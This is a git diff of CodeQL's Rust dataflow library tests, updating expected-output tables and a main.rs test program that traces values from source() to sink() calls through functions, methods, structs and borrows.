+| main.rs:53:9:53:9 | a | semmle.label | a |
+| main.rs:53:13:53:21 | source(...) | semmle.label | source(...) |
+| main.rs:54:13:54:13 | a | semmle.label | a |
+| main.rs:57:17:57:22 | ...: i64 | semmle.label | ...: i64 |
+| main.rs:57:32:59:1 | { ... } | semmle.label | { ... } |
+| main.rs:62:9:62:9 | a | semmle.label | a |
+| main.rs:62:13:62:21 | source(...) | semmle.label | source(...) |
+| main.rs:63:9:63:9 | b | semmle.label | b |
+| main.rs:63:13:63:27 | pass_through(...) | semmle.label | pass_through(...) |
+| main.rs:63:26:63:26 | a | semmle.label | a |
+| main.rs:64:10:64:10 | b | semmle.label | b |
+| main.rs:68:9:68:9 | a | semmle.label | a |
+| main.rs:68:13:71:6 | pass_through(...) | semmle.label | pass_through(...) |
+| main.rs:68:26:71:5 | { ... } | semmle.label | { ... } |
+| main.rs:70:9:70:18 | source(...) | semmle.label | source(...) |
+| main.rs:72:10:72:10 | a | semmle.label | a |
+| main.rs:76:9:76:9 | a | semmle.label | a |
+| main.rs:76:13:76:22 | source(...) | semmle.label | source(...) |
+| main.rs:78:21:78:26 | ...: i64 | semmle.label | ...: i64 |
+| main.rs:78:36:80:5 | { ... } | semmle.label | { ... } |
+| main.rs:82:9:82:9 | b | semmle.label | b |
+| main.rs:82:13:82:27 | pass_through(...) | semmle.label | pass_through(...) |
+| main.rs:82:26:82:26 | a | semmle.label | a |
+| main.rs:83:10:83:10 | b | semmle.label | b |
+| main.rs:94:22:94:27 | ...: i64 | semmle.label | ...: i64 |
+| main.rs:95:14:95:14 | n | semmle.label | n |
+| main.rs:98:30:104:5 | { ... } | semmle.label | { ... } |
 | main.rs:102:13:102:21 | source(...) | semmle.label | source(...) |
-| main.rs:103:9:103:9 | b | semmle.label | b |
-| main.rs:103:13:103:30 | mn.data_through(...) | semmle.label | mn.data_through(...) |
-| main.rs:103:29:103:29 | a | semmle.label | a |
-| main.rs:104:10:104:10 | b | semmle.label | b |
-| main.rs:109:9:109:9 | a | semmle.label | a |
-| main.rs:109:13:109:21 | source(...) | semmle.label | source(...) |
-| main.rs:110:26:110:26 | a | semmle.label | a |
-| main.rs:115:9:115:9 | a | semmle.label | a |
-| main.rs:115:13:115:22 | source(...) | semmle.label | source(...) |
-| main.rs:116:9:116:9 | b | semmle.label | b |
-| main.rs:116:13:116:40 | ...::data_through(...) | semmle.label | ...::data_through(...) |
-| main.rs:116:39:116:39 | a | semmle.label | a |
-| main.rs:117:10:117:10 | b | semmle.label | b |
-| main.rs:128:12:128:17 | ...: i64 | semmle.label | ...: i64 |
-| main.rs:128:28:130:5 | { ... } [MyInt] | semmle.label | { ... } [MyInt] |
-| main.rs:129:9:129:26 | MyInt {...} [MyInt] | semmle.label | MyInt {...} [MyInt] |
-| main.rs:129:24:129:24 | n | semmle.label | n |
-| main.rs:134:9:134:9 | n [MyInt] | semmle.label | n [MyInt] |
-| main.rs:134:13:134:34 | ...::new(...) [MyInt] | semmle.label | ...::new(...) [MyInt] |
-| main.rs:134:24:134:33 | source(...) | semmle.label | source(...) |
-| main.rs:135:9:135:26 | MyInt {...} [MyInt] | semmle.label | MyInt {...} [MyInt] |
-| main.rs:135:24:135:24 | m | semmle.label | m |
-| main.rs:136:10:136:10 | m | semmle.label | m |
-| main.rs:175:18:175:21 | SelfParam [MyInt] | semmle.label | SelfParam [MyInt] |
-| main.rs:175:48:177:5 | { ... } [MyInt] | semmle.label | { ... } [MyInt] |
-| main.rs:179:26:179:37 | ...: MyInt [MyInt] | semmle.label | ...: MyInt [MyInt] |
-| main.rs:179:49:181:5 | { ... } [MyInt] | semmle.label | { ... } [MyInt] |
-| main.rs:185:9:185:9 | a [MyInt] | semmle.label | a [MyInt] |
-| main.rs:185:13:185:38 | MyInt {...} [MyInt] | semmle.label | MyInt {...} [MyInt] |
-| main.rs:185:28:185:36 | source(...) | semmle.label | source(...) |
-| main.rs:187:9:187:26 | MyInt {...} [MyInt] | semmle.label | MyInt {...} [MyInt] |
-| main.rs:187:24:187:24 | c | semmle.label | c |
-| main.rs:187:30:187:53 | ...::take_self(...) [MyInt] | semmle.label | ...::take_self(...) [MyInt] |
-| main.rs:187:49:187:49 | a [MyInt] | semmle.label | a [MyInt] |
-| main.rs:188:10:188:10 | c | semmle.label | c |
-| main.rs:191:9:191:9 | b [MyInt] | semmle.label | b [MyInt] |
-| main.rs:191:13:191:39 | MyInt {...} [MyInt] | semmle.label | MyInt {...} [MyInt] |
-| main.rs:191:28:191:37 | source(...) | semmle.label | source(...) |
-| main.rs:192:9:192:26 | MyInt {...} [MyInt] | semmle.label | MyInt {...} [MyInt] |
-| main.rs:192:24:192:24 | c | semmle.label | c |
-| main.rs:192:30:192:55 | ...::take_second(...) [MyInt] | semmle.label | ...::take_second(...) [MyInt] |
-| main.rs:192:54:192:54 | b [MyInt] | semmle.label | b [MyInt] |
-| main.rs:193:10:193:10 | c | semmle.label | c |
-| main.rs:202:9:202:9 | a | semmle.label | a |
-| main.rs:202:13:202:21 | source(...) | semmle.label | source(...) |
-| main.rs:203:10:203:10 | a | semmle.label | a |
-| main.rs:212:13:212:13 | c | semmle.label | c |
-| main.rs:212:17:212:25 | source(...) | semmle.label | source(...) |
-| main.rs:213:14:213:14 | c | semmle.label | c |
-| main.rs:228:12:228:22 | ...: ... [Return] [&ref] | semmle.label | ...: ... [Return] [&ref] |
-| main.rs:228:25:228:30 | ...: i64 | semmle.label | ...: i64 |
-| main.rs:229:6:229:6 | [post] n [&ref] | semmle.label | [post] n [&ref] |
-| main.rs:229:10:229:10 | c | semmle.label | c |
-| main.rs:237:13:237:13 | [post] m [&ref] | semmle.label | [post] m [&ref] |
-| main.rs:237:16:237:25 | source(...) | semmle.label | source(...) |
-| main.rs:238:10:238:11 | * ... | semmle.label | * ... |
-| main.rs:238:11:238:11 | m [&ref] | semmle.label | m [&ref] |
+| main.rs:106:27:106:32 | ...: i64 | semmle.label | ...: i64 |
+| main.rs:106:42:112:5 | { ... } | semmle.label | { ... } |
+| main.rs:117:9:117:9 | a | semmle.label | a |
+| main.rs:117:13:117:25 | mn.get_data(...) | semmle.label | mn.get_data(...) |
+| main.rs:118:10:118:10 | a | semmle.label | a |
+| main.rs:123:9:123:9 | a | semmle.label | a |
+| main.rs:123:13:123:21 | source(...) | semmle.label | source(...) |
+| main.rs:124:16:124:16 | a | semmle.label | a |
+| main.rs:129:9:129:9 | a | semmle.label | a |
+| main.rs:129:13:129:21 | source(...) | semmle.label | source(...) |
+| main.rs:130:9:130:9 | b | semmle.label | b |
+| main.rs:130:13:130:30 | mn.data_through(...) | semmle.label | mn.data_through(...) |
+| main.rs:130:29:130:29 | a | semmle.label | a |
+| main.rs:131:10:131:10 | b | semmle.label | b |
+| main.rs:136:9:136:9 | a | semmle.label | a |
+| main.rs:136:13:136:21 | source(...) | semmle.label | source(...) |
+| main.rs:137:25:137:25 | a | semmle.label | a |
+| main.rs:142:9:142:9 | a | semmle.label | a |
+| main.rs:142:13:142:22 | source(...) | semmle.label | source(...) |
+| main.rs:143:9:143:9 | b | semmle.label | b |
+| main.rs:143:13:143:39 | ...::data_through(...) | semmle.label | ...::data_through(...) |
+| main.rs:143:38:143:38 | a | semmle.label | a |
+| main.rs:144:10:144:10 | b | semmle.label | b |
+| main.rs:155:12:155:17 | ...: i64 | semmle.label | ...: i64 |
+| main.rs:155:28:157:5 | { ... } [MyInt] | semmle.label | { ... } [MyInt] |
+| main.rs:156:9:156:26 | MyInt {...} [MyInt] | semmle.label | MyInt {...} [MyInt] |
+| main.rs:156:24:156:24 | n | semmle.label | n |
+| main.rs:161:9:161:9 | n [MyInt] | semmle.label | n [MyInt] |
+| main.rs:161:13:161:34 | ...::new(...) [MyInt] | semmle.label | ...::new(...) [MyInt] |
+| main.rs:161:24:161:33 | source(...) | semmle.label | source(...) |
+| main.rs:162:9:162:26 | MyInt {...} [MyInt] | semmle.label | MyInt {...} [MyInt] |
+| main.rs:162:24:162:24 | m | semmle.label | m |
+| main.rs:163:10:163:10 | m | semmle.label | m |
+| main.rs:169:12:169:15 | SelfParam [MyInt] | semmle.label | SelfParam [MyInt] |
+| main.rs:169:42:172:5 | { ... } [MyInt] | semmle.label | { ... } [MyInt] |
+| main.rs:171:9:171:35 | MyInt {...} [MyInt] | semmle.label | MyInt {...} [MyInt] |
+| main.rs:171:24:171:27 | self [MyInt] | semmle.label | self [MyInt] |
+| main.rs:171:24:171:33 | self.value | semmle.label | self.value |
+| main.rs:186:9:186:9 | a [MyInt] | semmle.label | a [MyInt] |
+| main.rs:186:13:186:38 | MyInt {...} [MyInt] | semmle.label | MyInt {...} [MyInt] |
+| main.rs:186:28:186:36 | source(...) | semmle.label | source(...) |
+| main.rs:188:9:188:9 | d [MyInt] | semmle.label | d [MyInt] |
+| main.rs:188:13:188:20 | a.add(...) [MyInt] | semmle.label | a.add(...) [MyInt] |
+| main.rs:189:10:189:10 | d [MyInt] | semmle.label | d [MyInt] |
+| main.rs:189:10:189:16 | d.value | semmle.label | d.value |
+| main.rs:228:9:228:9 | a | semmle.label | a |
+| main.rs:228:13:228:21 | source(...) | semmle.label | source(...) |
+| main.rs:229:10:229:10 | a | semmle.label | a |
+| main.rs:238:13:238:13 | c | semmle.label | c |
+| main.rs:238:17:238:25 | source(...) | semmle.label | source(...) |
+| main.rs:239:14:239:14 | c | semmle.label | c |
 subpaths
-| main.rs:36:26:36:26 | a | main.rs:30:17:30:22 | ...: i64 | main.rs:30:32:32:1 | { ... } | main.rs:36:13:36:27 | pass_through(...) |
-| main.rs:41:26:44:5 | { ... } | main.rs:30:17:30:22 | ...: i64 | main.rs:30:32:32:1 | { ... } | main.rs:41:13:44:6 | pass_through(...) |
-| main.rs:55:26:55:26 | a | main.rs:51:21:51:26 | ...: i64 | main.rs:51:36:53:5 | { ... } | main.rs:55:13:55:27 | pass_through(...) |
-| main.rs:103:29:103:29 | a | main.rs:79:28:79:33 | ...: i64 | main.rs:79:43:85:5 | { ... } | main.rs:103:13:103:30 | mn.data_through(...) |
-| main.rs:116:39:116:39 | a | main.rs:79:28:79:33 | ...: i64 | main.rs:79:43:85:5 | { ... } | main.rs:116:13:116:40 | ...::data_through(...) |
-| main.rs:134:24:134:33 | source(...) | main.rs:128:12:128:17 | ...: i64 | main.rs:128:28:130:5 | { ... } [MyInt] | main.rs:134:13:134:34 | ...::new(...) [MyInt] |
-| main.rs:187:49:187:49 | a [MyInt] | main.rs:175:18:175:21 | SelfParam [MyInt] | main.rs:175:48:177:5 | { ... } [MyInt] | main.rs:187:30:187:53 | ...::take_self(...) [MyInt] |
-| main.rs:192:54:192:54 | b [MyInt] | main.rs:179:26:179:37 | ...: MyInt [MyInt] | main.rs:179:49:181:5 | { ... } [MyInt] | main.rs:192:30:192:55 | ...::take_second(...) [MyInt] |
-| main.rs:237:16:237:25 | source(...) | main.rs:228:25:228:30 | ...: i64 | main.rs:228:12:228:22 | ...: ... [Return] [&ref] | main.rs:237:13:237:13 | [post] m [&ref] |
+| main.rs:38:23:38:31 | source(...) | main.rs:26:28:26:33 | ...: i64 | main.rs:26:17:26:25 | SelfParam [Return] [&ref, MyStruct] | main.rs:38:6:38:11 | [post] &mut a [&ref, MyStruct] |
+| main.rs:39:10:39:10 | a [MyStruct] | main.rs:30:17:30:21 | SelfParam [&ref, MyStruct] | main.rs:30:31:32:5 | { ... } | main.rs:39:10:39:21 | a.get_data(...) |
+| main.rs:44:30:44:38 | source(...) | main.rs:26:28:26:33 | ...: i64 | main.rs:26:17:26:25 | SelfParam [Return] [&ref, MyStruct] | main.rs:44:12:44:17 | [post] &mut a [&ref, MyStruct] |
+| main.rs:45:10:45:10 | a [MyStruct] | main.rs:30:17:30:21 | SelfParam [&ref, MyStruct] | main.rs:30:31:32:5 | { ... } | main.rs:45:10:45:21 | a.get_data(...) |
+| main.rs:63:26:63:26 | a | main.rs:57:17:57:22 | ...: i64 | main.rs:57:32:59:1 | { ... } | main.rs:63:13:63:27 | pass_through(...) |
+| main.rs:68:26:71:5 | { ... } | main.rs:57:17:57:22 | ...: i64 | main.rs:57:32:59:1 | { ... } | main.rs:68:13:71:6 | pass_through(...) |
+| main.rs:82:26:82:26 | a | main.rs:78:21:78:26 | ...: i64 | main.rs:78:36:80:5 | { ... } | main.rs:82:13:82:27 | pass_through(...) |
+| main.rs:130:29:130:29 | a | main.rs:106:27:106:32 | ...: i64 | main.rs:106:42:112:5 | { ... } | main.rs:130:13:130:30 | mn.data_through(...) |
+| main.rs:143:38:143:38 | a | main.rs:106:27:106:32 | ...: i64 | main.rs:106:42:112:5 | { ... } | main.rs:143:13:143:39 | ...::data_through(...) |
+| main.rs:161:24:161:33 | source(...) | main.rs:155:12:155:17 | ...: i64 | main.rs:155:28:157:5 | { ... } [MyInt] | main.rs:161:13:161:34 | ...::new(...) [MyInt] |
+| main.rs:186:9:186:9 | a [MyInt] | main.rs:169:12:169:15 | SelfParam [MyInt] | main.rs:169:42:172:5 | { ... } [MyInt] | main.rs:188:13:188:20 | a.add(...) [MyInt] |
 testFailures
 #select
 | main.rs:18:10:18:10 | a | main.rs:13:5:13:13 | source(...) | main.rs:18:10:18:10 | a | $@ | main.rs:13:5:13:13 | source(...) | source(...) |
-| main.rs:22:10:22:10 | n | main.rs:26:13:26:21 | source(...) | main.rs:22:10:22:10 | n | $@ | main.rs:26:13:26:21 | source(...) | source(...) |
-| main.rs:37:10:37:10 | b | main.rs:35:13:35:21 | source(...) | main.rs:37:10:37:10 | b | $@ | main.rs:35:13:35:21 | source(...) | source(...) |
-| main.rs:45:10:45:10 | a | main.rs:43:9:43:18 | source(...) | main.rs:45:10:45:10 | a | $@ | main.rs:43:9:43:18 | source(...) | source(...) |
-| main.rs:56:10:56:10 | b | main.rs:49:13:49:22 | source(...) | main.rs:56:10:56:10 | b | $@ | main.rs:49:13:49:22 | source(...) | source(...) |
-| main.rs:68:14:68:14 | n | main.rs:96:13:96:21 | source(...) | main.rs:68:14:68:14 | n | $@ | main.rs:96:13:96:21 | source(...) | source(...) |
-| main.rs:68:14:68:14 | n | main.rs:109:13:109:21 | source(...) | main.rs:68:14:68:14 | n | $@ | main.rs:109:13:109:21 | source(...) | source(...) |
-| main.rs:91:10:91:10 | a | main.rs:75:13:75:21 | source(...) | main.rs:91:10:91:10 | a | $@ | main.rs:75:13:75:21 | source(...) | source(...) |
-| main.rs:104:10:104:10 | b | main.rs:102:13:102:21 | source(...) | main.rs:104:10:104:10 | b | $@ | main.rs:102:13:102:21 | source(...) | source(...) |
-| main.rs:117:10:117:10 | b | main.rs:115:13:115:22 | source(...) | main.rs:117:10:117:10 | b | $@ | main.rs:115:13:115:22 | source(...) | source(...) |
-| main.rs:136:10:136:10 | m | main.rs:134:24:134:33 | source(...) | main.rs:136:10:136:10 | m | $@ | main.rs:134:24:134:33 | source(...) | source(...) |
-| main.rs:188:10:188:10 | c | main.rs:185:28:185:36 | source(...) | main.rs:188:10:188:10 | c | $@ | main.rs:185:28:185:36 | source(...) | source(...) |
-| main.rs:193:10:193:10 | c | main.rs:191:28:191:37 | source(...) | main.rs:193:10:193:10 | c | $@ | main.rs:191:28:191:37 | source(...) | source(...) |
-| main.rs:203:10:203:10 | a | main.rs:202:13:202:21 | source(...) | main.rs:203:10:203:10 | a | $@ | main.rs:202:13:202:21 | source(...) | source(...) |
-| main.rs:213:14:213:14 | c | main.rs:212:17:212:25 | source(...) | main.rs:213:14:213:14 | c | $@ | main.rs:212:17:212:25 | source(...) | source(...) |
-| main.rs:238:10:238:11 | * ... | main.rs:237:16:237:25 | source(...) | main.rs:238:10:238:11 | * ... | $@ | main.rs:237:16:237:25 | source(...) | source(...) |
+| main.rs:39:10:39:21 | a.get_data(...) | main.rs:38:23:38:31 | source(...) | main.rs:39:10:39:21 | a.get_data(...) | $@ | main.rs:38:23:38:31 | source(...) | source(...) |
+| main.rs:45:10:45:21 | a.get_data(...) | main.rs:44:30:44:38 | source(...) | main.rs:45:10:45:21 | a.get_data(...) | $@ | main.rs:44:30:44:38 | source(...) | source(...) |
+| main.rs:49:10:49:10 | n | main.rs:53:13:53:21 | source(...) | main.rs:49:10:49:10 | n | $@ | main.rs:53:13:53:21 | source(...) | source(...) |
+| main.rs:64:10:64:10 | b | main.rs:62:13:62:21 | source(...) | main.rs:64:10:64:10 | b | $@ | main.rs:62:13:62:21 | source(...) | source(...) |
+| main.rs:72:10:72:10 | a | main.rs:70:9:70:18 | source(...) | main.rs:72:10:72:10 | a | $@ | main.rs:70:9:70:18 | source(...) | source(...) |
+| main.rs:83:10:83:10 | b | main.rs:76:13:76:22 | source(...) | main.rs:83:10:83:10 | b | $@ | main.rs:76:13:76:22 | source(...) | source(...) |
+| main.rs:95:14:95:14 | n | main.rs:123:13:123:21 | source(...) | main.rs:95:14:95:14 | n | $@ | main.rs:123:13:123:21 | source(...) | source(...) |
+| main.rs:95:14:95:14 | n | main.rs:136:13:136:21 | source(...) | main.rs:95:14:95:14 | n | $@ | main.rs:136:13:136:21 | source(...) | source(...) |
+| main.rs:118:10:118:10 | a | main.rs:102:13:102:21 | source(...) | main.rs:118:10:118:10 | a | $@ | main.rs:102:13:102:21 | source(...) | source(...) |
+| main.rs:131:10:131:10 | b | main.rs:129:13:129:21 | source(...) | main.rs:131:10:131:10 | b | $@ | main.rs:129:13:129:21 | source(...) | source(...) |
+| main.rs:144:10:144:10 | b | main.rs:142:13:142:22 | source(...) | main.rs:144:10:144:10 | b | $@ | main.rs:142:13:142:22 | source(...) | source(...) |
+| main.rs:163:10:163:10 | m | main.rs:161:24:161:33 | source(...) | main.rs:163:10:163:10 | m | $@ | main.rs:161:24:161:33 | source(...) | source(...) |
+| main.rs:189:10:189:16 | d.value | main.rs:186:28:186:36 | source(...) | main.rs:189:10:189:16 | d.value | $@ | main.rs:186:28:186:36 | source(...) | source(...) |
+| main.rs:229:10:229:10 | a | main.rs:228:13:228:21 | source(...) | main.rs:229:10:229:10 | a | $@ | main.rs:228:13:228:21 | source(...) | source(...) |
+| main.rs:239:14:239:14 | c | main.rs:238:17:238:25 | source(...) | main.rs:239:14:239:14 | c | $@ | main.rs:238:17:238:25 | source(...) | source(...) |
diff --git a/rust/ql/test/library-tests/dataflow/global/main.rs b/rust/ql/test/library-tests/dataflow/global/main.rs
index 5899733af79b..f2d1b3dd7770 100644
--- a/rust/ql/test/library-tests/dataflow/global/main.rs
+++ b/rust/ql/test/library-tests/dataflow/global/main.rs
@@ -18,6 +18,33 @@ fn data_out_of_call() {
     sink(a); // $ hasValueFlow=n
 }
 
+struct MyStruct {
+    data: i64,
+}
+
+impl MyStruct {
+    fn set_data(&mut self, n: i64) {
+        (*self).data = n // todo: implicit deref not yet supported
+    }
+
+    fn get_data(&self) -> i64 {
+        (*self).data // todo: implicit deref not yet supported
+    }
+}
+
+fn data_out_of_call_side_effect1() {
+    let mut a = MyStruct { data: 0 };
+    sink(a.get_data());
+    (&mut a).set_data(source(8));
+    sink(a.get_data()); // $ hasValueFlow=8
+}
+
+fn data_out_of_call_side_effect2() {
+    let mut a = MyStruct { data: 0 };
+    ({ 42; &mut a}).set_data(source(9));
+    sink(a.get_data()); // $ hasValueFlow=9
+}
+
 fn data_in(n: i64) {
     sink(n); // $ hasValueFlow=3
 }
@@ -64,11 +91,11 @@ struct MyFlag {
 }
 
 impl MyFlag {
-    fn data_in(&self, n: i64) {
+    fn data_in(self, n: i64) {
         sink(n); // $ hasValueFlow=1 hasValueFlow=8
     }
 
-    fn get_data(&self) -> i64 {
+    fn get_data(self) -> i64 {
         if self.flag {
             0
         } else {
@@ -76,7 +103,7 @@ impl MyFlag {
         }
     }
 
-    fn data_through(&self, n: i64) -> i64 {
+    fn data_through(self, n: i64) -> i64 {
         if self.flag {
             0
         } else {
@@ -107,13 +134,13 @@ fn data_through_method() {
 fn data_in_to_method_called_as_function() {
     let mn = MyFlag { flag: true };
     let a = source(8);
-    MyFlag::data_in(&mn, a);
+    MyFlag::data_in(mn, a);
 }
 
 fn data_through_method_called_as_function() {
     let mn = MyFlag { flag: true };
     let a = source(12);
-    let b = MyFlag::data_through(&mn, a);
+    let b = MyFlag::data_through(mn, a);
     sink(b); // $ hasValueFlow=12
 }
 
@@ -159,8 +186,7 @@ fn test_operator_overloading() {
     let a = MyInt { value: source(7) };
     let b = MyInt { value: 2 };
     let d = a.add(b);
-    sink(d.value); // $ MISSING: hasValueFlow=7
-
+    sink(d.value); // $ hasValueFlow=7
 }
 
 trait MyTrait {
@@ -185,12 +211,12 @@ fn data_through_trait_method_called_as_function() {
     let a = MyInt { value: source(8) };
     let b = MyInt { value: 2 };
     let MyInt { value: c } = MyTrait::take_self(a, b);
-    sink(c); // $ hasValueFlow=8
+    sink(c); // $ MISSING: hasValueFlow=8
 
     let a = MyInt { value: 0 };
     let b = MyInt { value: source(37) };
     let MyInt { value: c } = MyTrait::take_second(a, b);
-    sink(c); // $ hasValueFlow=37
+    sink(c); // $ MISSING: hasValueFlow=37
 
     let a = MyInt { value: 0 };
     let b = MyInt { value: source(38) };
@@ -223,31 +249,10 @@ fn test_async_await() {
     futures::executor::block_on(test_async_await_async_part());
 }
 
-// Flow out of mutable parameters.
-
-fn set_int(n: &mut i64, c: i64) {
-    *n = c;
-}
-
-fn mutates_argument_1() {
-    // Passing an already borrowed value to a function and then reading from the same borrow.
-    let mut n = 0;
-    let m = &mut n;
-    sink(*m);
-    set_int(m, source(37));
-    sink(*m); // $ hasValueFlow=37
-}
-
-fn mutates_argument_2() {
-    // Borrowing at the call and then reading from the unborrowed variable.
-    let mut n = 0;
-    sink(n);
-    set_int(&mut n, source(88));
-    sink(n); // $ MISSING: hasValueFlow=88
-}
-
 fn main() {
     data_out_of_call();
+    data_out_of_call_side_effect1();
+    data_out_of_call_side_effect2();
     data_in_to_call();
     data_through_call();
     data_through_nested_function();
@@ -258,6 +263,4 @@ fn main() {
 
     test_operator_overloading();
     test_async_await();
-    mutates_argument_1();
-    mutates_argument_2();
 }
diff --git a/rust/ql/test/library-tests/dataflow/global/viableCallable.expected b/rust/ql/test/library-tests/dataflow/global/viableCallable.expected
index ad83682d7d06..c861feaa0177 100644
--- a/rust/ql/test/library-tests/dataflow/global/viableCallable.expected
+++ b/rust/ql/test/library-tests/dataflow/global/viableCallable.expected
@@ -1,77 +1,76 @@
 | main.rs:13:5:13:13 | source(...) | main.rs:1:1:3:1 | fn source |
 | main.rs:17:13:17:23 | get_data(...) | main.rs:12:1:14:1 | fn get_data |
 | main.rs:18:5:18:11 | sink(...) | main.rs:5:1:7:1 | fn sink |
-| main.rs:22:5:22:11 | sink(...) | main.rs:5:1:7:1 | fn sink |
-| main.rs:26:13:26:21 | source(...) | main.rs:1:1:3:1 | fn source |
-| main.rs:27:5:27:14 | data_in(...) | main.rs:21:1:23:1 | fn data_in |
-| main.rs:35:13:35:21 | source(...) | main.rs:1:1:3:1 | fn source |
-| main.rs:36:13:36:27 | pass_through(...) | main.rs:30:1:32:1 | fn pass_through |
-| main.rs:37:5:37:11 | sink(...) | main.rs:5:1:7:1 | fn sink |
-| main.rs:41:13:44:6 | pass_through(...) | main.rs:30:1:32:1 | fn pass_through |
-| main.rs:43:9:43:18 | source(...) | main.rs:1:1:3:1 | fn source |
-| main.rs:45:5:45:11 | sink(...) | main.rs:5:1:7:1 | fn sink |
-| main.rs:49:13:49:22 | source(...) | main.rs:1:1:3:1 | fn source |
-| main.rs:55:13:55:27 | pass_through(...) | main.rs:51:5:53:5 | fn pass_through |
-| main.rs:56:5:56:11 | sink(...) | main.rs:5:1:7:1 | fn sink |
-| main.rs:68:9:68:15 | sink(...) | main.rs:5:1:7:1 | fn sink |
-| main.rs:75:13:75:21 | source(...) | main.rs:1:1:3:1 | fn source |
-| main.rs:90:13:90:25 | mn.get_data(...) | main.rs:71:5:77:5 | fn get_data |
-| main.rs:91:5:91:11 | sink(...) | main.rs:5:1:7:1 | fn sink |
-| main.rs:96:13:96:21 | source(...) | main.rs:1:1:3:1 | fn source |
-| main.rs:97:5:97:17 | mn.data_in(...) | main.rs:67:5:69:5 | fn data_in |
+| main.rs:37:5:37:22 | sink(...) | main.rs:5:1:7:1 | fn sink |
+| main.rs:37:10:37:21 | a.get_data(...) | main.rs:30:5:32:5 | fn get_data |
+| main.rs:38:5:38:32 | ... .set_data(...) | main.rs:26:5:28:5 | fn set_data |
+| main.rs:38:23:38:31 | source(...) | main.rs:1:1:3:1 | fn source |
+| main.rs:39:5:39:22 | sink(...) | main.rs:5:1:7:1 | fn sink |
+| main.rs:39:10:39:21 | a.get_data(...) | main.rs:30:5:32:5 | fn get_data |
+| main.rs:44:5:44:39 | ... .set_data(...) | main.rs:26:5:28:5 | fn set_data |
+| main.rs:44:30:44:38 | source(...) | main.rs:1:1:3:1 | fn source |
+| main.rs:45:5:45:22 | sink(...) | main.rs:5:1:7:1 | fn sink |
+| main.rs:45:10:45:21 | a.get_data(...) | main.rs:30:5:32:5 | fn get_data |
+| main.rs:49:5:49:11 | sink(...) | main.rs:5:1:7:1 | fn sink |
+| main.rs:53:13:53:21 | source(...) | main.rs:1:1:3:1 | fn source |
+| main.rs:54:5:54:14 | data_in(...) | main.rs:48:1:50:1 | fn data_in |
+| main.rs:62:13:62:21 | source(...) | main.rs:1:1:3:1 | fn source |
+| main.rs:63:13:63:27 | pass_through(...) | main.rs:57:1:59:1 | fn pass_through |
+| main.rs:64:5:64:11 | sink(...) | main.rs:5:1:7:1 | fn sink |
+| main.rs:68:13:71:6 | pass_through(...) | main.rs:57:1:59:1 | fn pass_through |
+| main.rs:70:9:70:18 | source(...) | main.rs:1:1:3:1 | fn source |
+| main.rs:72:5:72:11 | sink(...) | main.rs:5:1:7:1 | fn sink |
+| main.rs:76:13:76:22 | source(...) | main.rs:1:1:3:1 | fn source |
+| main.rs:82:13:82:27 | pass_through(...) | main.rs:78:5:80:5 | fn pass_through |
+| main.rs:83:5:83:11 | sink(...) | main.rs:5:1:7:1 | fn sink |
+| main.rs:95:9:95:15 | sink(...) | main.rs:5:1:7:1 | fn sink |
 | main.rs:102:13:102:21 | source(...) | main.rs:1:1:3:1 | fn source |
-| main.rs:103:13:103:30 | mn.data_through(...) | main.rs:79:5:85:5 | fn data_through |
-| main.rs:104:5:104:11 | sink(...) | main.rs:5:1:7:1 | fn sink |
-| main.rs:109:13:109:21 | source(...) | main.rs:1:1:3:1 | fn source |
-| main.rs:110:5:110:27 | ...::data_in(...) | main.rs:67:5:69:5 | fn data_in |
-| main.rs:115:13:115:22 | source(...) | main.rs:1:1:3:1 | fn source |
-| main.rs:116:13:116:40 | ...::data_through(...) | main.rs:79:5:85:5 | fn data_through |
-| main.rs:117:5:117:11 | sink(...) | main.rs:5:1:7:1 | fn sink |
-| main.rs:134:13:134:34 | ...::new(...) | main.rs:127:5:130:5 | fn new |
-| main.rs:134:24:134:33 | source(...) | main.rs:1:1:3:1 | fn source |
-| main.rs:136:5:136:11 | sink(...) | main.rs:5:1:7:1 | fn sink |
-| main.rs:149:28:149:36 | source(...) | main.rs:1:1:3:1 | fn source |
-| main.rs:152:5:152:17 | sink(...) | main.rs:5:1:7:1 | fn sink |
-| main.rs:155:28:155:36 | source(...) | main.rs:1:1:3:1 | fn source |
-| main.rs:157:5:157:17 | sink(...) | main.rs:5:1:7:1 | fn sink |
-| main.rs:159:28:159:36 | source(...) | main.rs:1:1:3:1 | fn source |
-| main.rs:161:13:161:20 | a.add(...) | main.rs:142:5:145:5 | fn add |
-| main.rs:162:5:162:17 | sink(...) | main.rs:5:1:7:1 | fn sink |
-| main.rs:185:28:185:36 | source(...) | main.rs:1:1:3:1 | fn source |
-| main.rs:187:30:187:53 | ...::take_self(...) | main.rs:175:5:177:5 | fn take_self |
-| main.rs:188:5:188:11 | sink(...) | main.rs:5:1:7:1 | fn sink |
-| main.rs:191:28:191:37 | source(...) | main.rs:1:1:3:1 | fn source |
-| main.rs:192:30:192:55 | ...::take_second(...) | main.rs:179:5:181:5 | fn take_second |
-| main.rs:193:5:193:11 | sink(...) | main.rs:5:1:7:1 | fn sink |
-| main.rs:196:28:196:37 | source(...) | main.rs:1:1:3:1 | fn source |
-| main.rs:197:30:197:53 | ...::take_self(...) | main.rs:175:5:177:5 | fn take_self |
-| main.rs:198:5:198:11 | sink(...) | main.rs:5:1:7:1 | fn sink |
-| main.rs:202:13:202:21 | source(...) | main.rs:1:1:3:1 | fn source |
-| main.rs:203:5:203:11 | sink(...) | main.rs:5:1:7:1 | fn sink |
-| main.rs:208:13:208:26 | async_source(...) | main.rs:201:1:205:1 | fn async_source |
-| main.rs:209:5:209:11 | sink(...) | main.rs:5:1:7:1 | fn sink |
-| main.rs:212:17:212:25 | source(...) | main.rs:1:1:3:1 | fn source |
-| main.rs:213:9:213:15 | sink(...) | main.rs:5:1:7:1 | fn sink |
-| main.rs:216:5:216:17 | sink(...) | main.rs:5:1:7:1 | fn sink |
-| main.rs:220:41:220:54 | async_source(...) | main.rs:201:1:205:1 | fn async_source |
-| main.rs:221:5:221:11 | sink(...) | main.rs:5:1:7:1 | fn sink |
-| main.rs:223:33:223:61 | test_async_await_async_part(...) | main.rs:207:1:217:1 | fn test_async_await_async_part |
-| main.rs:236:5:236:12 | sink(...) | main.rs:5:1:7:1 | fn sink |
-| main.rs:237:5:237:26 | set_int(...) | main.rs:228:1:230:1 | fn set_int |
-| main.rs:237:16:237:25 | source(...) | main.rs:1:1:3:1 | fn source |
-| main.rs:238:5:238:12 | sink(...) | main.rs:5:1:7:1 | fn sink |
-| main.rs:244:5:244:11 | sink(...) | main.rs:5:1:7:1 | fn sink |
-| main.rs:245:5:245:31 | set_int(...) | main.rs:228:1:230:1 | fn set_int |
